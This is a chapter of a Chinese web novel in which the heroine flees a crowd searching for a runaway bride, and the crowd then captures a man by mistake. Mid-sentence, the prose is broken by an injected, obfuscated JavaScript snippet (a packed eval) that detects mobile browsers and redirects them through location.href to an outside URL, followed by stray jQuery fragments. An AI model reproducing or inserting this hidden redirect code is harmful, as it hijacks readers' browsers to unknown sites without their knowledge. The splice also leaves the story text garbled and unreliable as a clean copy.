她还没来得及多看一眼,门就从里被拉上了。 温偌水走了一路,听了半天路人的窃窃私语。无一不在讨论明日的大婚。 “明日就是大婚日了,据说逃跑的新娘还没找回来。” “这可怎么办?要是明日还找不到,婚娘娘可是要生气的!” “能怎么办?估计就只能再抓新的来了。” “新的?哪有新的?” 忽然,喧杂的讨论声安静下来,温偌水停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13306643|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下脚步,警惕地看下周围仿佛被按下暂停键的人。 诡异的暂停让温偌水产生一种不真实感,她甚至怀疑自己是否误入了某个被剧本框定好的剧场,下一秒就会有个导演模样的小胡子大喊:“你是哪个部门的?回到自己的位置上去!” 然而,没有导演小胡子,也没有露出马脚的拍摄器械,所有人都拧过头来看向温偌水,嘈杂的声音逐渐整齐化一—— “新的!她!新的!她!” 莫名的病毒在名为人的网络中疯狂传播,人脑不受控制地驱使着四肢扑腾,先前还在各做各事的人群纷纷放下手里的活计,疯了一样扑向温偌水! 温偌水暗道不妙,拔腿就跑。 属于人的肉.体碰撞在一起,发出难以言喻的怪味,无数只手在空中乱抓,企图抓住温偌水的半根毫毛。 “抓住她,抓住她!” “只要抓到她,婚娘娘就不会生气了!” 原本敞亮的大街瞬间拥挤不堪,鸡鸭鹅乱飞,羽毛撒了一地,远处的狗看不清前面发生了什么,凑热闹地叫了个不停,墙上睡得好好的猫莫名其妙被人扒拉了下去,炸了毛亮出了爪牙,菜铺上的青菜被踩了个稀烂,鸡蛋炸裂,泥了一地,成为了助人摔跤的头号元凶。 人们挤在一起,像是和成一团的面团,偶有几颗粉粒散落在外,又很快被一只大手揉了进去。 温偌水觉得自己从未如此生动活泼过,上次这样激烈的运动回想起来还是在小学参加的形式主义的家庭单位制运动会——哦,谢天谢地,她居然在如此荒谬的情况下回想起了一丁点过去的、没什么屁用的事情。 她上蹿下蹦,左晃右摇,前爬后滚,看起来像是个在讨佛祖欢心的吗喽。要不是这里人实在是太多了,温偌水必定会用一双无坚不摧的铁拳为自己杀出一道血路。 就在怒气值即将攒满、温偌水即将黑化时,身后突然发出一阵欢呼,温偌水不明所以地向身后看去,只见原本正锲而不舍追逐的人群突然停了下来,向另一个方向涌去。 虽然不知道发生了什么,但温偌水总算松了口气,用头巾将头脸裹好,远远地跑了开去。 而在她身后,人群聚集的地方,顾随之刚从打翻的酒桶里爬起来,就被人们七手八脚地捉住,像只待宰的猪一样被人抬过了街头巷尾。 顾随之:“?” 他刚刚路走得好好的,突然被蜂拥而至的人推了个趔趄,整个人头朝下摔进了路边半人高的酒桶里,每每要挣扎着出来时都会被莫名其妙的人再度推进去。就这样反反复复好几次,快要溺死时木制的酒桶终于裂开,顾随之大声咳嗽着,用袖子擦拭脸上的酒水。 随后,他就发现身边原先还在推搡的人群停了下来,不约而同地看向他。 顾随之:看我做什么?看我脸上有马粑粑吗? 哦,等等—— 顾随之看了眼袖子上的一片脏污,突然意识到自己刚刚好像把脸上的马粪擦去了。 “是逃跑的新娘!抓住她!”